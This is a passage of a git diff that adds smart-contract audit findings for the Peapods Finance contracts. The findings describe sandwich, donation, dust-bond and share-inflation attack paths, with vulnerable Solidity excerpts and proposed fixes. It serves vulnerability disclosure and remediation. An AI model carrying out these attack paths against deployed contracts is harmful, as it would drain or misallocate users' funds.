+ uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+-> super._transfer(_msgSender(), address(this), _amount);
+-> _totalSupply -= _amountAfterFee;
+ _burn(address(this), _amountAfterFee);
+ _processBurnFee(_amount - _amountAfterFee);
+ uint256 _il = indexTokens.length;
+ for (uint256 _i; _i < _il; _i++) {
+ uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+ if (_debondAmount > 0) {
+ _totalAssets[indexTokens[_i].token] -= _debondAmount;
+ IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+ }
+ _processPreSwapFeesAndSwap();
+ emit Debond(_msgSender(), _amount);
+ }
+```
+
+## Impact
+The protocol suffers a loss when handling fee-on-transfer tokens as the accounting assumes full amount receipt while actual received amount is lower due to transfer fees.
+
+## Mitigation
+Add balance checks before and after transfer to use the actual received amount:
+
+```solidity
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
++ uint256 balBefore = balanceOf(address(this));
++ super._transfer(_msgSender(), address(this), _amount);
++ _amount = balanceOf(address(this)) - balBefore;
+
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+ : (_amount * (DEN - _fees.debond)) / DEN;
+ uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+- super._transfer(_msgSender(), address(this), _amount);
+ _totalSupply -= _amountAfterFee;
+ _burn(address(this), _amountAfterFee);
+ _processBurnFee(_amount - _amountAfterFee);
+ uint256 _il = indexTokens.length;
+ for (uint256 _i; _i < _il; _i++) {
+ uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+ if (_debondAmount > 0) {
+ _totalAssets[indexTokens[_i].token] -= _debondAmount;
+ IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+ }
+ // an arbitrage path of buy pTKN > debond > sell TKN does not trigger rewards
+ // so let's trigger processing here at debond to keep things moving along
+ _processPreSwapFeesAndSwap();
+ emit Debond(_msgSender(), _amount);
+ }
+```
diff --git a/347.md b/347.md
new file mode 100644
index 0000000..4950a16
--- /dev/null
+++ b/347.md
@@ -0,0 +1,58 @@
+Bumpy Hemp Cuckoo
+
+Medium
+
+# An attacker will manipulate token rates by bonding dust amounts in `WeightedIndex` for multi-assets.
+
+
+## Summary
+The missing check of minimum minted supply will cause incorrect token rate ratios for the protocol and users as an attacker will manipulate asset rates by bonding dust amounts to change the expected weighted ratios.
+
+## Root Cause
+In [`WeightedIndex.sol#bond()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L139-L171) there is a missing validation check for minimum total supply which allows manipulation through rounding errors:
+```solidity
+ function bond(address _token, uint256 _amount, uint256 _amountMintMin) external override lock noSwapOrFee {
+ _bond(_token, _amount, _amountMintMin, _msgSender());
+ }
+
+ function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+ // Code continues...
+```
+
+## Internal pre-conditions
+1. `WeightedIndex` needs to be configured for multiple assets with defined weights
+2. Total supply needs to be zero (first bond)
+3. Assets need to have same decimals (e.g. 18)
+
+## Attack Path
+1. Attacker identifies a `WeightedIndex` configured with two tokens having weights [1,3]
+2. Attacker bonds minimal amount (4 wei) of token2
+3. Due to rounding, this results in:
+ - 1 wei of minted supply
+ - 1 wei of each asset in reserves
+4. This forces subsequent users to bond at incorrect 1:1 ratio instead of intended 1:3 ratio
+
+## Impact
+The protocol and users suffer from manipulated asset ratios that deviate from the intended weighted configuration. All subsequent bonds will occur at incorrect rates.
+
+## Mitigation
+Add minimum total supply validation to prevent dust amount manipulation:
+
+```solidity
++ const uint256 MINIMUM_SUPPLY = 1e9;
+ function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+ .......................................................
+ _internalBond();
++ require(_totalSupply >= MINIMUM_SUPPLY);
+
+ emit Bond(_user, _token, _amount, _tokensMinted);
+ }
+
+ /// @notice The ```debond``` function unwraps a user out of a pod and burns pTKN
+ /// @param _amount Number of pTKN to burn
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+ .......................................................
++ require(_totalSupply == 0 || _totalSupply >= MINIMUM_SUPPLY);
+ emit Debond(_msgSender(), _amount);
+ }
+```
diff --git a/348.md b/348.md
new file mode 100644
index 0000000..d9a170a
--- /dev/null
+++ b/348.md
@@ -0,0 +1,88 @@
+Bumpy Hemp Cuckoo
+
+Medium
+
+# Invalid slippage handling will cause loss of funds for users
+
+
+## Summary
+The incorrect slippage calculation in `Zapper.sol` will cause loss of funds for users as attackers can perform sandwich attacks due to weakened slippage protection.
+
+## Root Cause
+In [`Zapper.sol:L177`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L177) there is incorrect slippage handling where `_amountOutMin` is always reduced by `_finalSlip` regardless of whether user provided a valid minimum amount:
+
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+-> if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+-> _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+-> _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
+
+## Attack Path
+1. User calls swap function with desired minimum output amount
+2. Contract incorrectly reduces this amount by the slippage percentage
+3. Attacker sandwiches the transaction, taking advantage of weakened slippage protection
+4. User receives less tokens than their specified minimum
+
+## Impact
+Users can suffer significant losses due to sandwich attacks enabled by incorrect slippage handling. The attacker profits from the price manipulation.
+
+## Mitigation
+Modify `Zapper.sol#_swapV3Single()` to only apply slippage reduction when no minimum amount is specified:
+
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
++ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
++ else {
++ _finalSlip = 0;
++ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+- uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+ _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
\ No newline at end of file
diff --git a/349.md b/349.md
new file mode 100644
index 0000000..8ae2721
--- /dev/null
+++ b/349.md
@@ -0,0 +1,96 @@
+Warm Cedar Hippo
+
+Medium
+
+# Partial Liquidators can Cause the Last Liquidator to Suffer a Loss
+
+### Summary
+
+When a position is liquidated, the liquidators are paid a certain percent of fees. In some positions, partial liquidators will get an unfair shares of the fees when they liquidate first and the final liquidators will be left with small crumbs of fees or even full losses which will cause a lot of insolvent loan positions to never be liquidated.
+
+### Root Cause
+
+The [`liquidate`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1100) function allows a third party to repay a borrower's debt if they have become insolvent. The liquidators get paid a percentage of collateral as fees when they liquidate the position as a bonus:
+```solidity
+function liquidate(uint128 _sharesToLiquidate, uint256 _deadline, address _borrower)
+ ...
+
+ uint256 _optimisticCollateralForLiquidator =
+@> (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + cleanLiquidationFee)) / LIQ_PRECISION;
+
+ _leftoverCollateral = (_userCollateralBalance.toInt256() - _optimisticCollateralForLiquidator.toInt256());
+
+ _collateralForLiquidator = _leftoverCollateral <= 0
+ ? _userCollateralBalance
+@> : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+
+ if (protocolLiquidationFee > 0) {
+ _feesAmount = (protocolLiquidationFee * _collateralForLiquidator) / LIQ_PRECISION;
+ _collateralForLiquidator = _collateralForLiquidator - _feesAmount;
+```
+
+This bonus is calculated as either the `cleanLiquidationFee` or the `dirtyLiquidationFee` (as shown above) depending on whether the liquidator liquidates the entire position or only a partial position.
+
+The problem is that in certain situations, liquidators who liquidate the position last will not get their fair share of the collateral tokens. This happens because the final liquidator gets the entirety of the collateral the position holds.
+
+### Internal Pre-conditions
+
+1. The maxLTV of a Pair is set to `100 - maxLTV ≲ liquidationFees`.
+2. Borrower takes out a loan.
+3. Borrower's loan becomes insolvent.
+4. A series of liquidators partially liquidate the function.
+5. The final liquidator does not get their fair share.
+
+### External Pre-conditions
+
+1. The borrower's loan becomes insolvent due to various external factors.
+
+### Attack Path
+
+Take the following situation as an example:
+* A loan's `maxLTV` is `95%`, and the `cleanLiquidationFee` is `6%`.
+* The loan while being liquidated has `100` assets, and `105.26` collateral. For simplicity, let's say that the exchange rate is `1:1`.
+* This gives `LTV = 95%`. This will trigger liquidation.
+
+Now, lets say that `Liquidator_1` comes to partially liquidate half of the position.
+
+While the position is being liquidated, the following code will trigger:
+```solidity
+_leftoverCollateral = (_userCollateralBalance.toInt256() - _optimisticCollateralForLiquidator.toInt256());
+
+_collateralForLiquidator = _leftoverCollateral <= 0 ? _userCollateralBalance : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+```
+
+The `_collateralForLiquidator` will be set to $50 \times 1.054 = 52.7$.
+
+So, the liquidator gets transferred the `_userCollateralBalance` of `52.7`.
+
+Which means the position has the following balances, $Asset = 100 - 50 = 50$, and $Collateral = 105.26 - 52.7 = 52.56$.
+
+So, the person who liquidates the remaining position will see the following:
+* They transfer in `50` assets, and get `52.56` collateral back.
+* They were promised a `6%` bonus when they agreed to liquidate, which should come out to `53` collateral.
+* **Hence, they suffered a $6 - 5.12 = 0.88$% loss. (Note: $(52.56 - 50)/50 = 5.12$%)**
+
+Let's consider a similar situation with an even larger partial liquidation,
+
+If the first person liquidated `90%` of the position:
+
+`Liquidator_1`: Asset: `90`; Collateral: `94.86`
+
+What remains in the position is:
+Asset: `10`; Collateral: `5.14`
+
+This means either the final liquidator needs to suffer an incredible amount of loss or that the protocol will have to deal with the inevitable increase in insolvent loans that will never be liquidated because their collaterals are not enough.
+
+### Impact
+
+The final liquidators of a position will have to suffer losses if they want to liquidate the position. Their loss will be higher than 0.1%, and may even reach `50%` in certain situations.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/350.md b/350.md
new file mode 100644
index 0000000..da7f9a0
--- /dev/null
+++ b/350.md
@@ -0,0 +1,63 @@
+Nutty Steel Sealion
+
+Medium
+
+# Unbounded reward tokens array length may lead to out of gas
+
+### Summary
+
+The `TokenRewards` contract's `_allRewardsTokens` array can grow indefinitely as there is no limit on the total number of tokens that can be added over time. While `RewardsWhitelist` limits active tokens to 12, tokens can be repeatedly added and removed, causing the array to grow without bounds, potentially leading to out-of-gas scenarios in reward distribution.
+
+
+### Root Cause
+
+The `TokenRewards` contract [adds](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L212) tokens to `_allRewardsTokens` array when they are first deposited:
+```solidity
+if (!_depositedRewardsToken[_token]) {
+ _depositedRewardsToken[_token] = true;
+ _allRewardsTokens.push(_token);
+}
+```
+However:
+- Tokens are never removed from this array.
+- `RewardsWhitelist`'s [MAX](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/RewardsWhitelist.sol#L8) = 12 only limits simultaneously active tokens.
+- [`toggleRewardsToken`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/RewardsWhitelist.sol#L35) allows removing and adding different tokens repeatedly.
+- `_allRewardsTokens` keeps permanent record of all historically added tokens.
+
+### Internal Pre-conditions
+
+Frequent changes in reward token configuration through `toggleRewardsToken` calls.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. Over time, protocol adds and removes different reward tokens.
+2. Each new token gets permanently recorded in `_allRewardsTokens`.
+3. `_distributeReward` becomes increasingly expensive.
+4. Eventually, reward distribution becomes impossible due to gas limits.
+
+### Impact
+
+The ever-growing `_allRewardsTokens` array impacts gas costs as it is iterated over 4 times during each share change process:
+1. From address: claim rewards
+2. From address: reset existing rewards
+3. To address: claim rewards
+4. To address: reset existing rewards
+
+Since `_distributeReward` and `_resetExcluded` iterate through the entire array in each case:
+```solidity
+for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+```
+
+This means that every share transfer operation's gas cost grows with the historical number of reward tokens. As the array grows with each new token ever added (even if later removed), share transfers will eventually become too expensive to execute.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Iterate only over active tokens or implement a max limit for the total number of reward tokens that can be added to the system over its lifetime.
\ No newline at end of file
diff --git a/351.md b/351.md
new file mode 100644
index 0000000..7295cfd
--- /dev/null
+++ b/351.md
@@ -0,0 +1,56 @@
+Muscular Velvet Raven
+
+Medium
+
+# Incorrect Fee Calculation Leading to Lower Burn Amount
+
+### Summary
+
+The current fee deduction logic in the TokenRewards contract results in an incorrect burn amount when depositing rewards. The burn fee is calculated after the admin fee has already been deducted, leading to a lower burn amount than expected. This results in an unintended distribution of tokens.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L149-L154
+- As seen above, the `_yieldBurnFee` is applied to `_amountTkn` after the _adminAmt has been deducted.
+- This reduces the base value from which `_burnAmount` is derived, leading to a smaller burn fee than intended.
+- The total deducted amount is less than the expected sum of admin and burn fees.
+
+### for instance
+- Initial tokens: 100
+- _yieldAdminFee: 10%
+- _yieldBurnFee: 10%
+
+### Expected Calculation:
+- Admin Fee = 10% of 100 = 10
+- Burn Fee = 10% of 100 = 10
+- Remaining Tokens = 100 - (10 + 10) = 80
+
+### What's Wrong? (Current Code)
+- Admin Fee is deducted first → New balance = 90
+- Burn Fee is now 10% of 90 = 9
+- Remaining Tokens = 90 - 9 = 81
+
+### Internal Pre-conditions
+
+-
+
+### External Pre-conditions
+
+-
+
+### Attack Path
+
+-
+
+### Impact
+
+The burn amount is lower than expected, reducing the deflationary effect intended by the burn mechanism.
+The remaining tokens for distribution increase, leading to more tokens being circulated than designed.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Calculate both `_adminAmt` and `_burnAmount` from the original `_amountTkn` before deducting them together.
\ No newline at end of file
diff --git a/352.md b/352.md
new file mode 100644
index 0000000..6991d08
--- /dev/null
+++ b/352.md
@@ -0,0 +1,135 @@
+Perfect Porcelain Snail
+
+Medium
+
+# Inconsistent parameter indication in FraxlendPairDeployer leads to incorrect liquidation fee settings
+
+### Summary
+
+Inconsistent parameter indication between `FraxlendPairDeployer.deploy` and the implementation inside `FraxlendPairCore` constructor will cause an incorrect protocol liquidation fee to be set for the FraxlendPair. As the intended `_dirtyLiquidationFee` value will overwrite the intended `_protocolLiquidationFee` value. This could lead to incorrect fee calculations during liquidations, benefiting the protocol at the expense of the liquidators.
+
+### Root Cause
+
+In [FraxlendPairDeployer.sol#L289](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairDeployer.sol#L289), the comment indicates that the `_configData` should be encoded with **10 parameters**, implying the inclusion of both `_dirtyLiquidationFee` and `_protocolLiquidationFee`.
+> /// @param _configData abi.encode(address _asset, address _collateral, address _oracle, uint32 _maxOracleDeviation, address _rateContract, uint64 _fullUtilizationRate, uint256 _maxLTV, uint256 _cleanLiquidationFee, uint256 _dirtyLiquidationFee, uint256 _protocolLiquidationFee)
+
+However, the actual decoding in the constructor of [FraxlendPairCore.sol#L160](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L160) only decodes **9 parameters** as shown below:
+```Solidity
+/// @notice The ```constructor``` function is called on deployment
+ /// @param _configData abi.encode(address _asset, address _collateral, address _oracle, uint32 _maxOracleDeviation, address _rateContract, uint64 _fullUtilizationRate, uint256 _maxLTV, uint256 _cleanLiquidationFee, uint256 _dirtyLiquidationFee, uint256 _protocolLiquidationFee)
+ /// @param _immutables abi.encode(address _circuitBreakerAddress, address _comptrollerAddress, address _timelockAddress)
+ /// @param _customConfigData abi.encode(string memory _nameOfContract, string memory _symbolOfContract, uint8 _decimalsOfContract)
+ constructor(bytes memory _configData, bytes memory _immutables, bytes memory _customConfigData)
+ FraxlendPairAccessControl(_immutables)
+ ERC20("", "")
+ {
+ {
+ (
+ address _asset,
+ address _collateral,
+ address _oracle,
+ uint32 _maxOracleDeviation,
+ address _rateContract,
+ uint64 _fullUtilizationRate,
+ uint256 _maxLTV,
+ uint256 _liquidationFee,
+ uint256 _protocolLiquidationFee
+ ) = abi.decode(_configData, (address, address, address, uint32, address, uint64, uint256, uint256, uint256));
+ ...
+ }
+ ...
+ }
+
+```
+
+As a result, the value intended for `_dirtyLiquidationFee` (the 9th parameter) is misinterpreted as `_protocolLiquidationFee`. This misassignment means that the actual `_protocolLiquidationFee` (the 10th parameter) is ignored during deployment.
+
+
+Even inside the test of [LivePOC.t.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/helpers/LivePOC.t.sol#L286) the issue is present:
+
+```solidity
+function _deployFraxPairs() internal {
+ pair = FraxlendPair(
+ deployer.deploy(
+ abi.encode(
+ address(DAI), // asset
+ address(aspTkn), // collateral
+ oracle, // oracle
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), // rateContract
+ 1000, // fullUtilizationRate
+ 75000, // maxLtv (75%)
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 // uint256 _protocolLiquidationFee
+ )
+ )
+ );
+}
+```
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+Use the example of [LivePOC.t.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/helpers/LivePOC.t.sol#L286)
+
+### Impact
+
+With higher `protocolLiquidationFee` there is less liquidation incentive for liquidators.
+
+### PoC
+
+Using Chisel from Foundry
+
+To prove that the `_dirtyLiquidationFee` becomes the value for `_protocolLiquidationFee` using the same values as in [LivePOC.t.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/helpers/LivePOC.t.sol#L286):
+
+```txt
+➜ bytes memory test = abi.encode(
+ address(0), // asset
+ address(0), // collateral
+ address(0), //oracle
+ 5000, // maxOracleDeviation
+ address(0), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv (75%)
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ );
+➜ test
+Type: dynamic bytes
+├ Hex (Memory):
+├─ Length ([0x00:0x20]): 0x0000000000000000000000000000000000000000000000000000000000000140
+├─ Contents ([0x20:..]): 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001388000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000000124f80000000000000000000000000000000000000000000000000000000000002710000000000000000000000000000000000000000000000000000000000000232800000000000000000000000000000000000000000000000000000000000007d0
+├ Hex (Tuple Encoded):
+├─ Pointer ([0x00:0x20]): 0x0000000000000000000000000000000000000000000000000000000000000020
+├─ Length ([0x20:0x40]): 0x0000000000000000000000000000000000000000000000000000000000000140
+└─ Contents ([0x40:..]): 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001388000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000000124f80000000000000000000000000000000000000000000000000000000000002710000000000000000000000000000000000000000000000000000000000000232800000000000000000000000000000000000000000000000000000000000007d0
+➜ (
+ address _asset,
+ address _collateral,
+ address _oracle,
+ uint32 _maxOracleDeviation,
+ address _rateContract,
+ uint64 _fullUtilizationRate,
+ uint256 _maxLTV,
+ uint256 _liquidationFee,
+ uint256 _protocolLiquidationFee
+ ) = abi.decode(
+ test,
+ (address, address, address, uint32, address, uint64, uint256, uint256, uint256)
+ );
+➜ _protocolLiquidationFee
+Type: uint256
+├ Hex: 0x0000000000000000000000000000000000000000000000000000000000002328
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000002328
+└ Decimal: 9000
+```
+
diff --git a/353.md b/353.md
new file mode 100644
index 0000000..43fce3c
--- /dev/null
+++ b/353.md
@@ -0,0 +1,108 @@
+Rare Flaxen Nightingale
+
+High
+
+# maxSwap is an insufficient solution to the asptkn donation issue
+
+### Summary
+
+In a previous audits, it was reported that the aspTKN oracle could be manipulated through a donation
+of spTKN (see https://hackmd.io/@tapir/SyxqzohUA#H-9-aspTKN-oracle-can-be-manipulated).
+and C-08 of the guardian audit linked in the readMe
+
+to counter this, the team included maxSwaps to reduce the amount of tokens that can be added to totalAssets in a single call
+
+There are three issues here, each of high severity
+1. maxswap does just that , it only limits the attack for that call, the attack can still be done over multiple calls
+
+an example of this would be that the attacker donates the reward tokens they want to add to total assets to cause the inflation , and then calls deposit or mint multiple times each time minting dust eg ( 5 wei) of shares but adding the result amount of a maxSwap to the totalAssets each time
+to accomplish their aim, the attacker would need to makes calls such that
+( amount of calls = amount donated / maxswap of donation reward token ) to completely increment total assets by the amount they initially wanted to causing the inflation each time only increasing the total supply by dust
+
+2. maxswap exposes previous depositor rewards to new depositors
+
+if only a part of the rewards (ie the maxSwap of the rewards are swapped to assets) then the remaining rewards in the assets would belong to all depositors including the new depositor despite the rewards being accrued by tokens staked by previous depositors since the next time totalAssets is incremented using this rewards, the new depositor would also have shares in the pool
+
+3. for maxSwap to work efficiently, it must be set for all tokens, including intermediate tokens in swaps, this could cause permanent loss of funds if the intermediate tokens are not reward tokens themselves
+
+however taking a look at the contract, if the intermediate token is not a reward token and amountOut of intermediate token received after the maxSwap is greater than the maxSwap of the intermediate token, then amountOut - maxSwap will be permanenly locked in the contract
+
+looking at the implementation for a two hop swap
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L380-L387
+
+1.the pool would revert if amountOut is zero meaning the call would fail due to the pool reverting (this is very important for this issue)
+
+2. since we have confirmed that intermediary balance will always be equal to amountOut before the maxSwap check , then we can also confirm that intermediary balance can never be greater than amount0ut ie intermediaryBalance only ever decreases to the maxSwap amount but would never increase past the amount received during the fist swap
+
+this means that at any point ,amount only less and never more than amountOut can be used to swap to asset token
+meaning the amountOut - maxSwap from previous swaps is never used and will forever be locked in the contract depleting user rewards
+
+
+### Root Cause
+
+inclusion of maxSwaps for tokens to combat the donation issue
+
+### Internal Pre-conditions
+
+issue 1
+none
+
+issue 2
+none
+
+issue 3
+none
+
+### External Pre-conditions
+
+issue 1
+the lendingVault is uses the asptkn oracle
+
+issue 2
+none
+
+issue 3
+none
+
+
+### Attack Path
+
+issue 1
+1. Attacker donates reward token amount such that when swapped will equal the amount they want to add to totalAssets
+2. Attacker calls mint with dust eg (1 wei) of shares supplied
+3. _processRewardsToPodLp is called which swaps maxSwap amount of result token and increments the totalAssets by the resulting asset token
+4. attacker does this over and over again until all reward tokens sent have been
+
+issue 2
+1. total amount of accrued usdc rewards in the contract is 10_000 usdc but its maxswap is 8_000
+2. new depositor calls deposit
+3. 8000 usdc is converted to assets and the new totalAssets is used to calculate the user shares
+4. new depositor calls redeem for all his shares
+5. the remaining 2_000 usdc is added to assets and the user claims a part of it
+
+
+issue 3
+
+A swap path is defined as ETH -> USDC -> DAI, where USDC is the intermediate token.
+
+maxSwap is set to 8000 USDC for the intermediate token (USDC).
+
+The contract attempts to swap 10000 USDC to DAI.
+
+Only 8000 USDC is swapped to DAI, leaving 2000 USDC permanently locked in the contract.
+
+
+
+### Impact
+
+users loses rewards
+donation attack is still possible
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+the auditor thinks there is no better solution that to use an offchain oracle for the lending protocol or devise a system that doesnt use a vault system and scrap the maxswap
+
diff --git a/354.md b/354.md
new file mode 100644
index 0000000..6ae7714
--- /dev/null
+++ b/354.md
@@ -0,0 +1,21 @@
+Brief Nylon Dachshund
+
+Medium
+
+# share prices can be manipulated to extract more assets than deposited causing Vault Insolvency
+
+The [_cbr()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L204-L207) function calculates the **conversion rate between shares and assets**, but it **fails to account for scenarios where total supply is zero**, leading to potential **incorrect share price calculations**. The function is defined as follows:
+
+```solidity
+function _cbr() internal view returns (uint256) {
+ uint256 _supply = totalSupply();
+ return _supply == 0 ? FACTOR : (FACTOR * totalAssets()) / _supply;
+}
+```
+The issue arises because when `_supply == 0`, the function **hardcodes** [FACTOR (10¹⁸)](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L52) as the conversion rate, rather than correctly deriving it from actual vault assets. This means that if an attacker deposits a **tiny amount of assets when total supply is zero**, they can **mint an excessive number of shares at an inflated rate**. Later, when more assets are added to the vault, the attacker can **redeem a disproportionate share of total assets**, draining funds from legitimate users.
+
+## Impact
+An attacker can **manipulate share prices to extract more assets than they deposited**, potentially leading to **vault insolvency and loss of user funds**.
+
+## Mitigation
+Ensure `_cbr()` correctly calculates the share price based on **actual deposited assets**, even when the total supply is zero, by using a more accurate initialization formula.
\ No newline at end of file
diff --git a/355.md b/355.md
new file mode 100644
index 0000000..d073e32
--- /dev/null
+++ b/355.md
@@ -0,0 +1,32 @@
+Brief Nylon Dachshund
+
+Medium
+
+# Incorrect Protocol Fee Deduction in `_tokenToPodLp()` Can Cause Reward Conversion Failure
+
+In the [_tokenToPodLp()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L233-L247) function, the contract attempts to convert rewards tokens into paired LP tokens and then intopod LP tokens [while deducting a protocol fee](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L242). However, the fee calculation is applied after the swap operation on `_pairedOut`, which is subject to swap slippage and market fluctuations. If `_pairedOut` is lower than expected due to these factors, the fee deduction can consume nearly all of the received tokens, potentially leaving an insufficient balance to proceed with `_pairedLpTokenToPodLp()`, leading to a transaction failure. The issue lies in this block of code:
+
+```solidity
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+```
+By applying the fee after the swap, `_pairedOut` can become too small to stake, leading to a failed reward conversion that may prevent compounding from proceeding.
+
+## Impact
+A failed `_processRewardsToPodLp()` function halts auto-compounding, leading to stuck rewards, inefficient LP staking, and potential loss of yield for depositors.
+
+## Mitigation
+Deduct the protocol fee before the swap, ensuring a predictable fee calculation and preventing `_pairedOut` from being reduced to an unusable amount.
\ No newline at end of file
diff --git a/356.md b/356.md
new file mode 100644
index 0000000..430ba0c
--- /dev/null
+++ b/356.md
